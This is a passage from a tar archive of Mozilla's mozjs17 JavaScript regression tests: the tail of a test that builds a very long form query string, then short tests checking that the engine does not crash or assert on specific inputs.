+"&SI27="+SI27 +"&II01="+II01 +"&II02="+II02 +"&II03="+II03 +"&II04="+II04 +"&II05="+II05 +"&II06="+II06 +"&II07="+II07 +"&II08="+II08 +"&II09="+II09 +"&II10="+II10 +"&OB01="+OB01 +"&OB02="+OB02 +"&OB03="+OB03 +"&OB04="+OB04 +"&PUCO="+PUCO +"&SI28="+SI28 +"&SI29="+SI29 +"&SI30="+SI30 +"&SI31="+SI31 +"&SI32="+SI32 +"&SI33="+SI33 +"&SI34="+SI34 +"&SI35="+SI35 +"&SI36="+SI36 +"&SI37="+SI37 +"&SI38="+SI38 +"&SI39="+SI39 +"&SI40="+SI40 +"&SI41="+SI41 +"&II11="+II11 +"&II12="+II12 +"&II13="+II13 +"&II14="+II14 +"&SF01="+SF01 +"&SF02="+SF02 +"&SF03="+SF03 +"&SF04="+SF04 +"&SF05="+SF05 +"&SF06="+SF06 +"&SF07="+SF07 +"&SF08="+SF08 +"&SF09="+SF09 +"&SF10="+SF10 +"&SF11="+SF11 +"&SF12="+SF12 +"&SF13="+SF13 +"&SF14="+SF14 +"&SF15="+SF15 +"&SF16="+SF16 +"&SF17="+SF17 +"&SF18="+SF18 +"&SF19="+SF19 +"&SF20="+SF20 +"&SF21="+SF21 +"&SF22="+SF22 +"&SF23="+SF23 +"&SF24="+SF24 +"&SF25="+SF25 +"&SF26="+SF26 +"&SF27="+SF27 +"&SF28="+SF28 +"&SF29="+SF29 +"&SF30="+SF30 +"&SF31="+SF31 +"&SF32="+SF32 +"&SF33="+SF33 +"&SF34="+SF34 +"&SF35="+SF35 +"&SF36="+SF36 +"&SF37="+SF37 +"&SF38="+SF38 +"&SF39="+SF39 +"&SF40="+SF40 +"&SF41="+SF41 +"&SF42="+SF42 +"&SF43="+SF43 +"&SF44="+SF44 +"&SF45="+SF45 +"&SF46="+SF46 +"&SF47="+SF47 +"&SF48="+SF48 +"&SF49="+SF49 +"&FA28="+FA28 +"&FA29="+FA29 +"&FA30="+FA30 +"&FA31="+FA31 +"&AO38="+AO38 +"&IS38="+IS38 +"&B638="+B638 +"&PRMU="+PRMU +"&PRMO="+PRMO +"&CAMU="+CAMU +"&CAMO="+CAMO +"&INDU="+INDU +"&INDO="+INDO +"&INDH="+INDH +"&II15="+II15 +"&II16="+II16 +"&II17="+II17 +"&II18="+II18 +"&II19="+II19 +"&II20="+II20 +"&PLYP="+PLYP +"&WEDT="+WEDT +"&FM01="+FM01 +"&FM02="+FM02 +"&FM03="+FM03 +"&FM04="+FM04 +"&FM05="+FM05 +"&FM06="+FM06 +"&FM07="+FM07 +"&FM08="+FM08 +"&FM09="+FM09 +"&FM10="+FM10 +"&FM11="+FM11 +"&FM12="+FM12 +"&FM13="+FM13 +"&FM14="+FM14 +"&FM15="+FM15 +"&FM16="+FM16 +"&FM17="+FM17 +"&FM18="+FM18 +"&FM19="+FM19 +"&FM20="+FM20 +"&FM21="+FM21 +"&FM22="+FM22 +"&FM23="+FM23 +"&FM24="+FM24 +"&FM25="+FM25 +"&FM26="+FM26 +"&FM27="+FM27 +"&FL01="+FL01 +"&FL02="+FL02 +"&FL03="+FL03 +"&FL04="+FL04 +"&FL05="+FL05 +"&FL06="+FL06 +"&FL07="+FL07 +"&FL08="+FL08 +"&FL09="+FL09 +"&FL10="+FL10 +"&FL11="+FL11 +"&FL12="+FL12 +"&FL13="+FL13 +"&FL14="+FL14 +"&FL15="+FL15 +"&FL16="+FL16 +"&FL17="+FL17 +"&FL18="+FL18 +"&FL19="+FL19 +"&FL20="+FL20 +"&FL21="+FL21 +"&FL22="+FL22 +"&FL23="+FL23 +"&FL24="+FL24 +"&FL25="+FL25 +"&FL26="+FL26 +"&FL27="+FL27 +"&AE01="+AE01 +"&AE02="+AE02 +"&AE03="+AE03 +"&AE04="+AE04 +"&AE05="+AE05 +"&AE06="+AE06 +"&AE07="+AE07 +"&AE08="+AE08 +"&AE09="+AE09 +"&AE10="+AE10 +"&AP01="+AP01 +"&AP02="+AP02 +"&AP03="+AP03 +"&AP04="+AP04 +"&AP05="+AP05 +"&AP06="+AP06 +"&AP07="+AP07 +"&AP08="+AP08 +"&AP09="+AP09 +"&AP10="+AP10 +"&AG01="+AG01 +"&AG02="+AG02 +"&AG03="+AG03 +"&AG04="+AG04 +"&AG05="+AG05 +"&AG06="+AG06 +"&AG07="+AG07 +"&AG08="+AG08 +"&AG09="+AG09 +"&AG10="+AG10 +"&AF01="+AF01 +"&AF02="+AF02 +"&AF03="+AF03 +"&AF04="+AF04 +"&AF05="+AF05 +"&AF06="+AF06 +"&AF07="+AF07 +"&AF08="+AF08 +"&AF09="+AF09 +"&AF10="+AF10 +"&BA01="+BA01 +"&BA02="+BA02 +"&BA03="+BA03 +"&BA04="+BA04 +"&BA05="+BA05 +"&BA06="+BA06 +"&BA07="+BA07 +"&BA08="+BA08 +"&BA09="+BA09 +"&BA10="+BA10 +"&BA11="+BA11 +"&BA12="+BA12 +"&BA13="+BA13 +"&BA14="+BA14 +"&BA15="+BA15 +"&CNCT="+CNCT +"&TCNT="+TCNT +"&OCNT="+OCNT +"&CMNT="+CMNT +"&PTYP="+PTYP +"&REPS="+REPS +"&REPO="+REPO +"&SDIS="+SDIS +"&SDSO="+SDSO +"&WUSE="+WUSE +"&WUSO="+WUSO +"&RF01="+RF01 +"&RF02="+RF02 +"&RF03="+RF03 +"&RF04="+RF04 +"&RF05="+RF05 +"&RF06="+RF06 +"&RF07="+RF07 +"&RF08="+RF08 +"&RFOT="+RFOT +"&MOUF="+MOUF +"&MOFO="+MOFO +"&CO01="+CO01 +"&CO02="+CO02 +"&CO03="+CO03 +"&CO04="+CO04 +"&CO05="+CO05 +"&CO06="+CO06 +"&CO07="+CO07 +"&WC01="+WC01 +"&WC02="+WC02 +"&WC03="+WC03 +"&WC04="+WC04 +"&WC05="+WC05 +"&WC06="+WC06 +"&WC07="+WC07 +"&DVDS="+DVDS +"&CDDS="+CDDS +"&MINI="+MINI +"&RCRD="+RCRD +"&TAPE="+TAPE +"&FDVD="+FDVD +"&ODVD="+ODVD +"&NCHD="+NCHD +"&INCM="+INCM +"&HTYP="+HTYP +"&AOLE="+AOLE +"&COLE="+COLE +"&OOLE="+OOLE +"&HM25="+HM25 +"&HM26="+HM26 +"&HM27="+HM27 +"&HS25="+HS25 +"&HS26="+HS26 +"&HS27="+HS27 +"&PL25="+PL25 +"&PL26="+PL26 +"&PL27="+PL27 +"&IF01="+IF01 +"&IF02="+IF02 +"&IF03="+IF03 +"&IF04="+IF04 +"&IF05="+IF05 +"&IF06="+IF06 +"&IF07="+IF07 +"&IF08="+IF08 +"&IF09="+IF09 +"&IF10="+IF10 +"&IF11="+IF11 +"&IF12="+IF12 +"&IF13="+IF13 +"&IF14="+IF14 +"&IF15="+IF15 +"&IF16="+IF16 +"&IF17="+IF17 +"&IF18="+IF18 +"&IF19="+IF19 +"&IF20="+IF20 +"&IF21="+IF21 +"&IF22="+IF22 +"&IF23="+IF23 +"&IF24="+IF24 +"&IF25="+IF25 +"&IF26="+IF26 +"&IF27="+IF27 +"&IF28="+IF28 +"&IF29="+IF29 +"&IF30="+IF30 +"&IF31="+IF31 +"&IF32="+IF32 +"&IF33="+IF33 +"&IF34="+IF34 +"&IF35="+IF35 +"&IF36="+IF36 +"&IF37="+IF37 +"&IF38="+IF38 +"&IF39="+IF39 +"&IF40="+IF40 +"&IF41="+IF41 +"&IFOT="+IFOT +"&MA01="+MA01 +"&MA02="+MA02 +"&MA03="+MA03 +"&MA04="+MA04 +"&MA05="+MA05 +"&MA06="+MA06 +"&MA07="+MA07 +"&MA08="+MA08 +"&MA09="+MA09 +"&MA10="+MA10 +"&MA11="+MA11 +"&MA12="+MA12 +"&MA13="+MA13 +"&MA14="+MA14 +"&MA15="+MA15 +"&MA16="+MA16 +"&MA17="+MA17 +"&MA18="+MA18 +"&MA19="+MA19 +"&MA20="+MA20 +"&MA21="+MA21 +"&MA22="+MA22 +"&MA23="+MA23 +"&MA24="+MA24 +"&MA25="+MA25 +"&MA26="+MA26 +"&MAOT="+MAOT +"&OF01="+OF01 +"&OF02="+OF02 +"&OF03="+OF03 +"&OF04="+OF04 +"&OF05="+OF05 +"&OF06="+OF06 +"&OF07="+OF07 +"&OF08="+OF08 +"&OF09="+OF09 +"&OF10="+OF10 +"&OF11="+OF11 +"&OF12="+OF12 +"&OF13="+OF13 +"&OF14="+OF14 +"&OF15="+OF15 +"&OF16="+OF16 +"&OF17="+OF17 +"&OF18="+OF18 +"&OF19="+OF19 +"&OS01="+OS01 +"&OS02="+OS02 +"&OS03="+OS03 +"&OS04="+OS04 +"&OS05="+OS05 +"&OS06="+OS06 +"&OS07="+OS07 +"&OS08="+OS08 +"&OS09="+OS09 +"&OS10="+OS10 +"&OS11="+OS11 +"&OS12="+OS12 +"&OS13="+OS13 +"&OS14="+OS14 +"&OS15="+OS15 +"&OS16="+OS16 +"&OS17="+OS17 +"&OS18="+OS18 +"&OS19="+OS19 +"&BR01="+BR01 +"&BR02="+BR02 +"&BR03="+BR03 +"&BR04="+BR04 +"&BR05="+BR05 +"&BR06="+BR06 +"&BR07="+BR07 +"&BR08="+BR08 +"&BR09="+BR09 +"&BR10="+BR10 +"&BR11="+BR11 +"&BR12="+BR12 +"&BR13="+BR13 +"&BR14="+BR14 +"&BR15="+BR15 +"&BR16="+BR16 +"&BR17="+BR17 +"&BR18="+BR18 +"&BR19="+BR19 +"&FC01="+FC01 +"&FC02="+FC02 +"&FC03="+FC03 +"&FC04="+FC04 +"&FC05="+FC05 +"&FC06="+FC06 +"&FC07="+FC07 +"&FC08="+FC08 +"&FC09="+FC09 +"&FC10="+FC10 +"&FC11="+FC11 +"&FC12="+FC12 +"&FC13="+FC13 +"&FC14="+FC14 +"&FC15="+FC15 +"&FC16="+FC16 +"&FC17="+FC17 +"&UNET="+UNET +"&MARS="+MARS +"&EWAR="+EWAR +"&OCOT="+OCOT +"&CG00="+CG00 +"&CG01="+CG01 +"&CG02="+CG02 +"&CG03="+CG03 +"&CG04="+CG04 +"&CG05="+CG05 +"&CG06="+CG06 +"&CG07="+CG07 +"&CG08="+CG08 +"&CG09="+CG09 +"&CG10="+CG10 +"&CG11="+CG11 +"&COCO="+COCO +"&MI00="+MI00 +"&MI01="+MI01 +"&MI02="+MI02 +"&MI03="+MI03 +"&MI04="+MI04 +"&MI05="+MI05 +"&MI06="+MI06 +"&MI07="+MI07 +"&MI08="+MI08 +"&MI09="+MI09 +"&MI10="+MI10 +"&MI11="+MI11 +"&MI12="+MI12 +"&MI13="+MI13 +"&MI14="+MI14 +"&YD01="+YD01 +"&YD02="+YD02 +"&YD03="+YD03 +"&YD04="+YD04 +"&YD05="+YD05 +"&YD06="+YD06 +"&YD07="+YD07 +"&YD08="+YD08 +"&YD09="+YD09 +"&YD10="+YD10 +"&YD11="+YD11 +"&YD12="+YD12 +"&YD13="+YD13 +"&YD14="+YD14 +"&YD15="+YD15 +"&YD16="+YD16 +"&YD17="+YD17 +"&YD18="+YD18 +"&YD19="+YD19 +"&YD20="+YD20 +"&YD21="+YD21 +"&YD22="+YD22 +"&YD23="+YD23 +"&YD24="+YD24 +"&YD25="+YD25 +"&YD26="+YD26 +"&YD27="+YD27 +"&YD28="+YD28 +"&YD29="+YD29 +"&YD30="+YD30 +"&YD31="+YD31 +"&YD32="+YD32 +"&YD33="+YD33 +"&YD34="+YD34 +"&YD35="+YD35 +"&YD36="+YD36 +"&YD37="+YD37 +"&YD38="+YD38 +"&YD39="+YD39 +"&YD40="+YD40 +"&YD41="+YD41 +"&YD42="+YD42 +"&YD43="+YD43 +"&YD44="+YD44 +"&YD45="+YD45 +"&YD46="+YD46 +"&YD47="+YD47 +"&YD48="+YD48 +"&YD49="+YD49 +"&YD50="+YD50 +"&YD51="+YD51 +"&YD52="+YD52 +"&YD53="+YD53 +"&YD54="+YD54 +"&YD55="+YD55 +"&NI00="+NI00 +"&NI01="+NI01 +"&NI02="+NI02 +"&NI03="+NI03 +"&NI04="+NI04 +"&NI05="+NI05 +"&NI06="+NI06 +"&NI07="+NI07 +"&NI08="+NI08 +"&NI09="+NI09 +"&NI10="+NI10 +"&NI11="+NI11 +"&NI12="+NI12 +"&NI13="+NI13 +"&NI14="+NI14 +"&NI15="+NI15 +"&NI16="+NI16 +"&NI17="+NI17 +"&NI18="+NI18 +"&NI19="+NI19 +"&NI20="+NI20 +"&NI21="+NI21 +"&NI22="+NI22 +"&NI23="+NI23 +"&NI24="+NI24 +"&NI25="+NI25 +"&NI26="+NI26 +"&NI27="+NI27 +"&NIOT="+NIOT +"&AC01="+AC01 +"&AC02="+AC02 +"&AC03="+AC03 +"&AC04="+AC04 +"&AC05="+AC05 +"&AC06="+AC06 +"&AC07="+AC07 +"&AC08="+AC08 +"&AC09="+AC09 +"&AC10="+AC10 +"&AC11="+AC11 +"&AC12="+AC12 +"&AC13="+AC13 +"&AC14="+AC14 +"&AC15="+AC15 +"&AC16="+AC16 +"&AC17="+AC17 +"&AC18="+AC18 +"&AC19="+AC19 +"&AC20="+AC20 +"&AC21="+AC21 +"&AC22="+AC22 +"&AC23="+AC23 +"&AC24="+AC24 +"&AO39="+AO39 +"&IS39="+IS39 +"&B639="+B639 +"&AO40="+AO40 +"&IS40="+IS40 +"&B640="+B640 +"&AO41="+AO41 +"&IS41="+IS41 +"&B641="+B641 +"&AO42="+AO42 +"&IS42="+IS42 +"&B642="+B642 +"&AO43="+AO43 +"&IS43="+IS43 +"&B643="+B643 +"&EIMG="+EIMG +"&IC01="+IC01 +"&IC02="+IC02 +"&IC03="+IC03 +"&IC04="+IC04 +"&IC05="+IC05 +"&IC06="+IC06 +"&IC07="+IC07 +"&ICOT="+ICOT +"&FA32="+FA32 +"&EISC="+EISC +"&COLR="+COLR +"&WPOL="+WPOL +"&SF50="+SF50 +"&SF51="+SF51 +"&SF52="+SF52 +"&SF53="+SF53 +"&SF54="+SF54 +"&MDRI="+MDRI +"&MDIR="+MDIR +"&OB05="+OB05 +"&OB06="+OB06 +"&OB07="+OB07 +"&OB08="+OB08 +"&OB09="+OB09 +"&OB10="+OB10 +"&OB11="+OB11 +"&OB12="+OB12 +"&OBFI="+OBFI +"&OP01="+OP01 +"&OP02="+OP02 +"&OP03="+OP03 +"&OP04="+OP04 +"&SMDR="+SMDR +"&SMDO="+SMDO +"&DMFI="+DMFI +"&HMFD="+HMFD +"&WSMM="+WSMM +"&MMFI="+MMFI +"&MDFP="+MDFP +"&MDMP="+MDMP +"&MDFC="+MDFC +"&MDMC="+MDMC +"&SF55="+SF55 +"&SF56="+SF56 +"&SF57="+SF57 +"&SF58="+SF58 +"&SF59="+SF59 +"&SF60="+SF60 +"&SF61="+SF61 +"&SF62="+SF62 +"&SF63="+SF63 +"&SF64="+SF64 +"&SF65="+SF65 +"&SFFI="+SFFI +"&RC01="+RC01 +"&RC02="+RC02 +"&RC03="+RC03 +"&RC04="+RC04 +"&RC05="+RC05 +"&RC06="+RC06 +"&RC07="+RC07 +"&RC08="+RC08 +"&RCFI="+RCFI +"&RH01="+RH01 +"&RH02="+RH02 +"&RH03="+RH03 +"&RH04="+RH04 +"&RH05="+RH05 +"&RH06="+RH06 +"&RHFI="+RHFI +"&FE35="+FE35 +"&FE36="+FE36 +"&FE37="+FE37 +"&FE38="+FE38 +"&FE39="+FE39 +"&FE40="+FE40 +"&FE41="+FE41 +"&FE42="+FE42 +"&FE43="+FE43 +"&FE44="+FE44 +"&FE45="+FE45 +"&FE46="+FE46 +"&FE47="+FE47 +"&FE48="+FE48 +"&FE49="+FE49 +"&FE50="+FE50 +"&FE51="+FE51 +"&FE52="+FE52 +"&FE53="+FE53 +"&NCDK="+NCDK +"&NPRM="+NPRM +"&NBLM="+NBLM +"&NVRC="+NVRC +"&NCTP="+NCTP +"&PMDP="+PMDP +"&PMDR="+PMDR +"&CRMD="+CRMD +"&MDDK="+MDDK +"&PUSE="+PUSE +"&IF42="+IF42 +"&IF43="+IF43 +"&IF44="+IF44 +"&IF45="+IF45 +"&IF46="+IF46 +"&IF47="+IF47 +"&IF48="+IF48 +"&OF00="+OF00 +"&OS00="+OS00 +"&BR00="+BR00 +"&OB13="+OB13 +"&OB14="+OB14 +"&MO01="+MO01 +"&MO02="+MO02 +"&MO03="+MO03 +"&MO04="+MO04 +"&MO05="+MO05 +"&MO06="+MO06 +"&MO07="+MO07 +"&MO08="+MO08 +"&MO09="+MO09 +"&MO10="+MO10 +"&MO11="+MO11 +"&MO12="+MO12 +"&MO13="+MO13 +"&RF09="+RF09 +"&RF10="+RF10 +"&RF11="+RF11 +"&RF12="+RF12 +"&RF13="+RF13 +"&RF14="+RF14 +"&RF15="+RF15 +"&RF16="+RF16 +"&RF17="+RF17 +"&RF18="+RF18 +"&RF19="+RF19 +"&RF20="+RF20 +"&RF21="+RF21 +"&RF22="+RF22 +"&RF23="+RF23 +"&RF24="+RF24 +"&RF25="+RF25 +"&RF26="+RF26 +"&RF27="+RF27 +"&RF28="+RF28 +"&RF29="+RF29 +"&RF30="+RF30 +"&RF31="+RF31 +"&RF32="+RF32 +"&RF33="+RF33 +"&RF34="+RF34 +"&RF35="+RF35 +"&RF36="+RF36 +"&RF37="+RF37 +"&RF38="+RF38 +"&RF39="+RF39 +"&RF40="+RF40 +"&RF41="+RF41 +"&RF42="+RF42 +"&RF43="+RF43 +"&RF44="+RF44 +"&RF45="+RF45 +"&RF46="+RF46 +"&RF47="+RF47 +"&RF48="+RF48 +"&RF49="+RF49 +"&RF50="+RF50 +"&RF51="+RF51 +"&RF52="+RF52 +"&RF53="+RF53 +"&RF54="+RF54 +"&RF55="+RF55 +"&RF56="+RF56 +"&RF57="+RF57 +"&RF58="+RF58 +"&RF59="+RF59 +"&RF60="+RF60 +"&RF61="+RF61 +"&RF62="+RF62 +"&RF63="+RF63 +"&RF64="+RF64 +"&RF65="+RF65 +"&RF66="+RF66 +"&RF67="+RF67 +"&CO08="+CO08 +"&CO09="+CO09 +"&CO10="+CO10 +"&CO11="+CO11 +"&CO12="+CO12 +"&CO13="+CO13 +"&CO14="+CO14 +"&CO15="+CO15 +"&CO16="+CO16 +"&CO17="+CO17 +"&CO18="+CO18 +"&CO19="+CO19 +"&WUCP="+WUCP +"&AVSM="+AVSM +"&SD01="+SD01 +"&SD02="+SD02 +"&SD03="+SD03 +"&SD04="+SD04 +"&SD05="+SD05 +"&SD06="+SD06 +"&SD07="+SD07 +"&TP01="+TP01 +"&TP02="+TP02 +"&TP03="+TP03 +"&TP04="+TP04 +"&WC08="+WC08 +"&WC09="+WC09 +"&WC10="+WC10 +"&WC11="+WC11 +"&WC12="+WC12 +"&WC13="+WC13 +"&WC14="+WC14 +"&WC15="+WC15 +"&MD01="+MD01 +"&MD02="+MD02 +"&MD03="+MD03 +"&MD04="+MD04 +"&MD05="+MD05 +"&MD06="+MD06 +"&MD07="+MD07 +"&MD08="+MD08 +"&MD09="+MD09 +"&MD10="+MD10 +"&MD11="+MD11 +"&MD12="+MD12 +"&MD13="+MD13 +"&MD14="+MD14 +"&MD15="+MD15 +"&MF01="+MF01 +"&MF02="+MF02 +"&MF03="+MF03 +"&MF04="+MF04 +"&MF05="+MF05 +"&MF06="+MF06 +"&MF07="+MF07 +"&MF08="+MF08 +"&MF09="+MF09 +"&MF10="+MF10 +"&MF11="+MF11 +"&MF12="+MF12 +"&MF13="+MF13 +"&MF14="+MF14 +"&MF15="+MF15 +"&PU01="+PU01 +"&PU02="+PU02 +"&PU03="+PU03 +"&PU04="+PU04 +"&PU05="+PU05 +"&SF00="+SF00 +"&NCDR="+NCDR +"&AGCT="+AGCT +"&MUS1="+MUS1 +"&MUS2="+MUS2 +"&MUS3="+MUS3 +"&SF66="+SF66 +"&SF67="+SF67 +"&SF68="+SF68 +"&FA33="+FA33 +"&FA34="+FA34 +"&AO44="+AO44 +"&IS44="+IS44 +"&B644="+B644 +"&IF52="+IF52 +"&IF53="+IF53 +"&IF54="+IF54 +"&IF55="+IF55 +"&IF56="+IF56 +"&IF57="+IF57 +"&IF58="+IF58 +"&IF59="+IF59 +"&IF60="+IF60 +"&IF61="+IF61 +"&IF62="+IF62 +"&IF63="+IF63 +"&IF64="+IF64 +"&IF65="+IF65 +"&IF66="+IF66 +"&IF67="+IF67 +"&IF68="+IF68 +"&MA28="+MA28 +"&NADL="+NADL +"&AGCH="+AGCH +"&LRNA="+LRNA +"&LROT="+LROT +"&WHRM="+WHRM +"&WROT="+WROT +"&DV01="+DV01 +"&DV02="+DV02 +"&DV03="+DV03 +"&DV04="+DV04 +"&DV05="+DV05 +"&DV06="+DV06 +"&DV07="+DV07 +"&DV08="+DV08 +"&PVUF="+PVUF +"&WDVC="+WDVC +"&VCOT="+VCOT +"&VCPU="+VCPU +"&PUCA="+PUCA +"&PUOT="+PUOT +"&SCAT="+SCAT +"&UCBX="+UCBX +"&CRDS="+CRDS +"&SATP="+SATP +"&BRPS="+BRPS +"&BRES="+BRES +"&HMCC="+HMCC +"&MRTV="+MRTV +"&WTTV="+WTTV +"&WTOT="+WTOT +"&MASL="+MASL +"&RESL="+RESL +"&OVSL="+OVSL +"&MPNC="+MPNC +"&NCOT="+NCOT +"&MPCP="+MPCP +"&CPOT="+CPOT +"&CA01="+CA01 +"&CA02="+CA02 +"&CA03="+CA03 +"&CA04="+CA04 +"&CA05="+CA05 +"&CA06="+CA06 +"&HMVC="+HMVC +"&CTVS="+CTVS +"&CTVA="+CTVA +"&WKCC="+WKCC +"&TVBN="+TVBN +"&VP01="+VP01 +"&VP02="+VP02 +"&VP03="+VP03 +"&VPOT="+VPOT +"&WWVT="+WWVT +"&FKTR="+FKTR +"&FKTP="+FKTP +"&FKOP="+FKOP +"&PKOO="+PKOO +"&C1AG="+C1AG +"&C1FV="+C1FV +"&C2AG="+C2AG +"&C2FV="+C2FV +"&C3AG="+C3AG +"&C3FV="+C3FV +"&C4AG="+C4AG +"&C4FV="+C4FV +"&C1A2="+C1A2 +"&N1HT="+N1HT +"&N1VT="+N1VT +"&C2A2="+C2A2 +"&N2HT="+N2HT +"&N2VT="+N2VT +"&C3A2="+C3A2 +"&N3HT="+N3HT +"&N3VT="+N3VT +"&C4A2="+C4A2 +"&N4HT="+N4HT +"&N4VT="+N4VT +"&HECG="+HECG +"&HEIC="+HEIC +"&HECC="+HECC +"&HEDV="+HEDV +"&PVPR="+PVPR +"&PPOT="+PPOT +"&BVOV="+BVOV +"&HUVV="+HUVV +"&HUOT="+HUOT +"&RCVC="+RCVC +"&HRVC="+HRVC +"&HROT="+HROT +"&NCP1="+NCP1 +"&CD01="+CD01 +"&CD02="+CD02 +"&CD03="+CD03 +"&CD04="+CD04 +"&CD05="+CD05 +"&RF73="+RF73 +"&RF74="+RF74 +"&RF75="+RF75 +"&RF76="+RF76 +"&RF77="+RF77 +"&RF78="+RF78 +"&RF79="+RF79 +"&RF80="+RF80 +"&RF81="+RF81 +"&RF82="+RF82 +"&RF83="+RF83 +"&RF84="+RF84 +"&RF85="+RF85 +"&RF86="+RF86 +"&YUDC="+YUDC +"&OCPB="+OCPB +"&IF49="+IF49 +"&IF50="+IF50 +"&MA27="+MA27 +"&CP01="+CP01 +"&CP02="+CP02 +"&CP03="+CP03 +"&CP04="+CP04 +"&CP05="+CP05 +"&CP06="+CP06 +"&CP07="+CP07 +"&CP08="+CP08 +"&CP09="+CP09 +"&CP10="+CP10 +"&CP11="+CP11 +"&CPFI="+CPFI +"&OBRN="+OBRN +"&OMDL="+OMDL +"&SNQU="+SNQU +"&TS01="+TS01 +"&TS02="+TS02 +"&TS03="+TS03 +"&TS04="+TS04 +"&TS05="+TS05 +"&TS06="+TS06 +"&TS07="+TS07 +"&TS08="+TS08 +"&RPAU="+RPAU +"&US01="+US01 +"&US02="+US02 +"&US03="+US03 +"&US04="+US04 +"&US05="+US05 +"&US06="+US06 +"&US07="+US07 +"&US08="+US08 +"&US09="+US09 +"&US10="+US10 +"&US11="+US11 +"&US12="+US12 +"&US13="+US13 +"&US14="+US14 +"&LK01="+LK01 +"&LK02="+LK02 +"&LK03="+LK03 +"&LK04="+LK04 +"&LK05="+LK05 +"&LK06="+LK06 +"&LK07="+LK07 +"&LK08="+LK08 +"&LK09="+LK09 +"&LK10="+LK10 +"&LK11="+LK11 +"&LK12="+LK12 +"&LK13="+LK13 +"&LK14="+LK14 +"&NCID="+NCID +"&NP01="+NP01 +"&NP02="+NP02 +"&NP03="+NP03 +"&NP04="+NP04 +"&NP05="+NP05 +"&NP06="+NP06 +"&NP07="+NP07 +"&NP08="+NP08 +"&PLPH="+PLPH +"&LPFI="+LPFI +"&POP2="+POP2 +"&OPP2="+OPP2 +"&PULO="+PULO +"&ARTI="+ARTI +"&FND2="+FND2 +"&IWUM="+IWUM +"&VTPS="+VTPS +"&VPFI="+VPFI +"&MART="+MART +"&OB15="+OB15 +"&IF69="+IF69 +"&IF70="+IF70 +"&IF71="+IF71 +"&OF20="+OF20 +"&OS20="+OS20 +"&BR20="+BR20 +"&OF21="+OF21 +"&OS21="+OS21 +"&BR21="+BR21 +"&FC18="+FC18 +"&IF72="+IF72 +"&IF73="+IF73 +"&IF74="+IF74 +"&IF75="+IF75 +"&IF76="+IF76 +"&IF77="+IF77 +"&IF78="+IF78 +"&MA29="+MA29 +"&MA30="+MA30 +"&OF22="+OF22 +"&OS22="+OS22 +"&BR22="+BR22 +"&IF79="+IF79 +"&IF80="+IF80 +"&IF81="+IF81 +"&MA31="+MA31 +"&OF23="+OF23 +"&OS23="+OS23 +"&BR23="+BR23 +"&OF24="+OF24 +"&OS24="+OS24 +"&BR24="+BR24 +"&OF25="+OF25 +"&OS25="+OS25 +"&BR25="+BR25 +"&OF26="+OF26 +"&OS26="+OS26 +"&BR26="+BR26 +"&FC19="+FC19 +"&IF51="+IF51 +"&SUIN="+SUIN +"&CBRN="+CBRN +"&PICW="+PICW +"&PICI="+PICI +"&WS01="+WS01 +"&WS02="+WS02 +"&WS03="+WS03 +"&WS04="+WS04 +"&WS05="+WS05 +"&WS06="+WS06 +"&WS07="+WS07 +"&WS08="+WS08 +"&WS09="+WS09 +"&WS10="+WS10 +"&WSOT="+WSOT +"&WR01="+WR01 +"&WR02="+WR02 +"&WR03="+WR03 +"&WR04="+WR04 +"&WR05="+WR05 +"&WR06="+WR06 +"&WR07="+WR07 +"&WR08="+WR08 +"&WR09="+WR09 +"&WR10="+WR10 +"&WR11="+WR11 +"&WR12="+WR12 +"&WR13="+WR13 +"&SV01="+SV01 +"&SV02="+SV02 +"&SV03="+SV03 +"&BMOL="+BMOL +"&WTBM="+WTBM +"&WJSU="+WJSU +"&OF27="+OF27 +"&OS27="+OS27 +"&BR27="+BR27 +"&OF28="+OF28 +"&OS28="+OS28 +"&BR28="+BR28 +"&IF82="+IF82 +"&IF83="+IF83 +"&MA32="+MA32 +"&MA33="+MA33 +"&MA34="+MA34 +"&SFOT="+SFOT +"&MPDC="+MPDC +"&DCOT="+DCOT ; return data; } formData(); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-319384.js0000664000175000017500000000135312106270663022264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 319384; var summary = 'Do not crash converting string to number'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); printStatus('This test only runs in the browser'); if (typeof clearTimeout === 'function') { try { clearTimeout('foo'); } catch(ex) { } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/shell.js0000664000175000017500000000000012106270663021134 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/Regress/regress-379245.js0000664000175000017500000000165112106270663022267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 379245; var summary = 'inline calls'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var fThis; function f() { fThis = this; return ({x: f}).x; } f()(); if (this !== fThis) throw "bad this"; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-355829-01.js0000775000175000017500000000155512106270663022515 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 355829; var summary = 'Do not assert: !argc || JSVAL_IS_NULL(argv[0]) || JSVAL_IS_VOID(argv[0])'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); new Object({valueOf: /a/}); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-325925.js0000664000175000017500000000106512106270663022262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * 